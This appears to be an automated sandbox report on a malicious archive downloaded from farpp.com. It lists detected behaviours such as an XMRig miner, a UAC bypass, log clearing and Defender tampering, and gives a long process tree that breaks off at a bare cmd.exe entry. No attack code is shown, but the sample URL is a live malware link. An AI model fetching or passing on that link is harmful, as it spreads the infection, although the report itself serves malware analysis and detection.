Overview

overview

10

Static

static

1

URLScan

urlscan

1

https://farpp.com/Fa...

windows10-2004-x64

10

Analysis

  • user interaction
    yes
  • max time kernel
    431s
  • max time network
    433s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    16/09/2026, 16:27

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    https://farpp.com/Farpp.zip
  • Sample260916-tx4besshlc
Score
10/10
adwaredefense_evasiondiscoveryexecutionxmrigminerpersistencepyinstallerransomwarespywaretrojanupx

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Modifies Windows Defender notification settings 3 TTPs 3 IoCs
    defense_evasiontrojan
  • Suspicious use of NtCreateUserProcessOtherParentProcess 3 IoCs
  • UAC bypass 3 TTPs 4 IoCs
    defense_evasiontrojan
  • Clears Windows event logs 1 TTPs 8 IoCs
    defense_evasionransomware
  • XMRig Miner payload 24 IoCs
    miner
  • Badlisted process makes network request 4 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 21 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

    execution
  • Drops desktop.ini file(s) 1 IoCs
  • Modifies powershell logging option 1 TTPs
    defense_evasion
  • Power Settings 1 TTPs 2 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

    persistence
  • Drops file in System32 directory 9 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Program Files directory 8 IoCs
  • Drops file in Windows directory 58 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Detects Pyinstaller 1 IoCs
    pyinstaller
  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Time Discovery 1 TTPs 8 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 23 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 6 IoCs
  • Kills process with taskkill 1 IoCs
    defense_evasion
  • Modifies Internet Explorer settings 1 TTPs 4 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 4 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3296
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --disable-default-apps --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://farpp.com/Farpp.zip
        2⤵
        • Checks processor information in registry
        • Enumerates system info in registry
        • Modifies data under HKEY_USERS
        • Modifies registry class
        • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of WriteProcessMemory
        PID:4548
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x238,0x23c,0x240,0x234,0x25c,0x7ffc7cc1c188,0x7ffc7cc1c194,0x7ffc7cc1c1a0
          3⤵
            PID:4620
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1928,i,1949872747711649232,13764848697275158603,524288 --field-trial-handle=2280,i,628818937344990014,17998754960517188442,262144 --variations-seed-version --mojo-platform-channel-handle=2352 /prefetch:3
            3⤵
            • System Time Discovery
            PID:1168
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1628,i,7983195210371370573,8050180475623810372,262144 --field-trial-handle=2280,i,628818937344990014,17998754960517188442,262144 --variations-seed-version --mojo-platform-channel-handle=2276 /prefetch:2
            3⤵
              PID:1912
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2552,i,16791010506465829204,10968335943082398216,524288 --field-trial-handle=2280,i,628818937344990014,17998754960517188442,262144 --variations-seed-version --mojo-platform-channel-handle=2556 /prefetch:8
              3⤵
                PID:4100
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3476,i,5408674916782976348,11354931463865711927,2097152 --field-trial-handle=2280,i,628818937344990014,17998754960517188442,262144 --variations-seed-version --mojo-platform-channel-handle=3552 /prefetch:1
                3⤵
                  PID:3764
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3480,i,425036422409195396,12265984042501269079,2097152 --field-trial-handle=2280,i,628818937344990014,17998754960517188442,262144 --variations-seed-version --mojo-platform-channel-handle=3556 /prefetch:1
                  3⤵
                    PID:2552
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4240,i,6874263566703777763,3372659478323147425,2097152 --field-trial-handle=2280,i,628818937344990014,17998754960517188442,262144 --variations-seed-version --mojo-platform-channel-handle=4260 /prefetch:1
                    3⤵
                      PID:4484
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4320,i,12222780363708422309,11790341503003104717,2097152 --field-trial-handle=2280,i,628818937344990014,17998754960517188442,262144 --variations-seed-version --mojo-platform-channel-handle=4344 /prefetch:2
                      3⤵
                        PID:4656
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5100,i,11511890455201405693,2435552672813988647,524288 --field-trial-handle=2280,i,628818937344990014,17998754960517188442,262144 --variations-seed-version --mojo-platform-channel-handle=5180 /prefetch:8
                        3⤵
                          PID:4180
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5108,i,3721203034433922101,15631383700899682405,524288 --field-trial-handle=2280,i,628818937344990014,17998754960517188442,262144 --variations-seed-version --mojo-platform-channel-handle=5204 /prefetch:8
                          3⤵
                            PID:3688
                          • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5888,i,10785423057198502526,1099178177862690396,524288 --field-trial-handle=2280,i,628818937344990014,17998754960517188442,262144 --variations-seed-version --mojo-platform-channel-handle=5908 /prefetch:8
                            3⤵
                              PID:3776
                            • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5888,i,10785423057198502526,1099178177862690396,524288 --field-trial-handle=2280,i,628818937344990014,17998754960517188442,262144 --variations-seed-version --mojo-platform-channel-handle=5908 /prefetch:8
                              3⤵
                                PID:1304
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3468,i,8573524233650321600,8805287921060103505,524288 --field-trial-handle=2280,i,628818937344990014,17998754960517188442,262144 --variations-seed-version --mojo-platform-channel-handle=3452 /prefetch:8
                                3⤵
                                  PID:1868
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=4336,i,15909308752894252321,4737363787654933247,2097152 --field-trial-handle=2280,i,628818937344990014,17998754960517188442,262144 --variations-seed-version --mojo-platform-channel-handle=3664 /prefetch:1
                                  3⤵
                                    PID:4708
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6560,i,9733065821593178770,16169494892379517130,524288 --field-trial-handle=2280,i,628818937344990014,17998754960517188442,262144 --variations-seed-version --mojo-platform-channel-handle=6600 /prefetch:8
                                    3⤵
                                      PID:1280
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6580,i,9801763506753920115,7012312318206283512,524288 --field-trial-handle=2280,i,628818937344990014,17998754960517188442,262144 --variations-seed-version --mojo-platform-channel-handle=6640 /prefetch:8
                                      3⤵
                                        PID:4288
                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6548,i,11598736082108053437,12470839623924317727,524288 --field-trial-handle=2280,i,628818937344990014,17998754960517188442,262144 --variations-seed-version --mojo-platform-channel-handle=6684 /prefetch:8
                                        3⤵
                                          PID:3260
                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --metrics-shmem-handle=5264,i,10175422015515064097,14499979732778457750,2097152 --field-trial-handle=2280,i,628818937344990014,17998754960517188442,262144 --variations-seed-version --mojo-platform-channel-handle=5516 /prefetch:1
                                          3⤵
                                            PID:1604
                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --metrics-shmem-handle=5292,i,4448800443396510834,15736858092040221344,2097152 --field-trial-handle=2280,i,628818937344990014,17998754960517188442,262144 --variations-seed-version --mojo-platform-channel-handle=5992 /prefetch:1
                                            3⤵
                                              PID:5064
                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6272,i,8096010125877118335,9317707080597867957,524288 --field-trial-handle=2280,i,628818937344990014,17998754960517188442,262144 --variations-seed-version --mojo-platform-channel-handle=6228 /prefetch:8
                                              3⤵
                                                PID:4916
                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5764,i,15127782304889692210,4775447837568748350,524288 --field-trial-handle=2280,i,628818937344990014,17998754960517188442,262144 --variations-seed-version --mojo-platform-channel-handle=5864 /prefetch:8
                                                3⤵
                                                  PID:4680
                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5864,i,16623121597648058727,14419659748546208807,524288 --field-trial-handle=2280,i,628818937344990014,17998754960517188442,262144 --variations-seed-version --mojo-platform-channel-handle=2192 /prefetch:8
                                                  3⤵
                                                    PID:4612
                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=5240,i,5451908564073760119,12656925956670723006,262144 --field-trial-handle=2280,i,628818937344990014,17998754960517188442,262144 --variations-seed-version --mojo-platform-channel-handle=6116 /prefetch:8
                                                    3⤵
                                                    • Suspicious behavior: EnumeratesProcesses
                                                    PID:3260
                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --always-read-main-dll --metrics-shmem-handle=4944,i,11432602639501206819,8371308347520993489,2097152 --field-trial-handle=2280,i,628818937344990014,17998754960517188442,262144 --variations-seed-version --mojo-platform-channel-handle=3460 /prefetch:1
                                                    3⤵
                                                      PID:3792
                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3684,i,17757694989701872310,7661976082882279381,524288 --field-trial-handle=2280,i,628818937344990014,17998754960517188442,262144 --variations-seed-version --mojo-platform-channel-handle=6376 /prefetch:8
                                                      3⤵
                                                        PID:2480
                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6404,i,1400013707752221751,13892107216300746197,524288 --field-trial-handle=2280,i,628818937344990014,17998754960517188442,262144 --variations-seed-version --mojo-platform-channel-handle=4528 /prefetch:8
                                                        3⤵
                                                          PID:1040
                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6856,i,5251271608551744289,15583322808049106347,524288 --field-trial-handle=2280,i,628818937344990014,17998754960517188442,262144 --variations-seed-version --mojo-platform-channel-handle=5508 /prefetch:8
                                                          3⤵
                                                            PID:5140
                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3128,i,15802875753766508867,3149386700639802147,524288 --field-trial-handle=2280,i,628818937344990014,17998754960517188442,262144 --variations-seed-version --mojo-platform-channel-handle=4016 /prefetch:8
                                                            3⤵
                                                              PID:6052
                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window
                                                              3⤵
                                                              • Checks processor information in registry
                                                              • Enumerates system info in registry
                                                              PID:1600
                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x238,0x23c,0x240,0x234,0x24c,0x7ffc7cc1c188,0x7ffc7cc1c194,0x7ffc7cc1c1a0
                                                                4⤵
                                                                  PID:1272
                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2080,i,12568221006964005895,4487035207859252332,524288 --field-trial-handle=2024,i,13986253346271844135,1129118403907421418,262144 --variations-seed-version --mojo-platform-channel-handle=2148 /prefetch:3
                                                                  4⤵
                                                                  • System Time Discovery
                                                                  PID:5168
                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1824,i,4862632409872124795,16505293103910508771,262144 --field-trial-handle=2024,i,13986253346271844135,1129118403907421418,262144 --variations-seed-version --mojo-platform-channel-handle=2012 /prefetch:2
                                                                  4⤵
                                                                    PID:1836
                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1404,i,7319117371726287972,6561931534949307433,524288 --field-trial-handle=2024,i,13986253346271844135,1129118403907421418,262144 --variations-seed-version --mojo-platform-channel-handle=2628 /prefetch:8
                                                                    4⤵
                                                                      PID:4140
                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4448,i,7450141024317243250,7756302002974052032,524288 --field-trial-handle=2024,i,13986253346271844135,1129118403907421418,262144 --variations-seed-version --mojo-platform-channel-handle=4460 /prefetch:8
                                                                      4⤵
                                                                        PID:5448
                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4448,i,7450141024317243250,7756302002974052032,524288 --field-trial-handle=2024,i,13986253346271844135,1129118403907421418,262144 --variations-seed-version --mojo-platform-channel-handle=4460 /prefetch:8
                                                                        4⤵
                                                                          PID:3884
                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4624,i,14561998159686247405,9384571849737285268,524288 --field-trial-handle=2024,i,13986253346271844135,1129118403907421418,262144 --variations-seed-version --mojo-platform-channel-handle=4588 /prefetch:8
                                                                          4⤵
                                                                            PID:180
                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4648,i,16055128366770935769,16415851654589748748,524288 --field-trial-handle=2024,i,13986253346271844135,1129118403907421418,262144 --variations-seed-version --mojo-platform-channel-handle=4680 /prefetch:8
                                                                            4⤵
                                                                              PID:4712
                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4692,i,14426941710614135677,11000116052163456440,524288 --field-trial-handle=2024,i,13986253346271844135,1129118403907421418,262144 --variations-seed-version --mojo-platform-channel-handle=4920 /prefetch:8
                                                                              4⤵
                                                                                PID:5756
                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4884,i,17466393311092017610,17900314218111189390,524288 --field-trial-handle=2024,i,13986253346271844135,1129118403907421418,262144 --variations-seed-version --mojo-platform-channel-handle=4872 /prefetch:8
                                                                                4⤵
                                                                                  PID:3196
                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4952,i,5931864493427203308,6822391849473824633,524288 --field-trial-handle=2024,i,13986253346271844135,1129118403907421418,262144 --variations-seed-version --mojo-platform-channel-handle=4968 /prefetch:8
                                                                                  4⤵
                                                                                    PID:2648
                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4892,i,10987425700461162048,9837349551952525649,524288 --field-trial-handle=2024,i,13986253346271844135,1129118403907421418,262144 --variations-seed-version --mojo-platform-channel-handle=4864 /prefetch:8
                                                                                    4⤵
                                                                                      PID:4860
                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4708,i,6269182295623573331,7244852557939222305,524288 --field-trial-handle=2024,i,13986253346271844135,1129118403907421418,262144 --variations-seed-version --mojo-platform-channel-handle=4944 /prefetch:8
                                                                                      4⤵
                                                                                        PID:5612
                                                                                  • C:\Users\Admin\Downloads\Farpp\Farpp.exe
                                                                                    "C:\Users\Admin\Downloads\Farpp\Farpp.exe"
                                                                                    2⤵
                                                                                    • Loads dropped DLL
                                                                                    • Suspicious use of WriteProcessMemory
                                                                                    PID:2860
                                                                                    • C:\Windows\system32\cmd.exe
                                                                                      "C:\Windows\system32\cmd.exe" /c certutil -hashfile "C:\Users\Admin\Downloads\Farpp\Farpp.pkg.bin" SHA256
                                                                                      3⤵
                                                                                      • Executes a command shell one-liner
                                                                                      • Suspicious use of WriteProcessMemory
                                                                                      PID:4728
                                                                                      • C:\Windows\system32\certutil.exe
                                                                                        certutil -hashfile "C:\Users\Admin\Downloads\Farpp\Farpp.pkg.bin" SHA256
                                                                                        4⤵
                                                                                          PID:2768
                                                                                      • C:\Windows\system32\cmd.exe
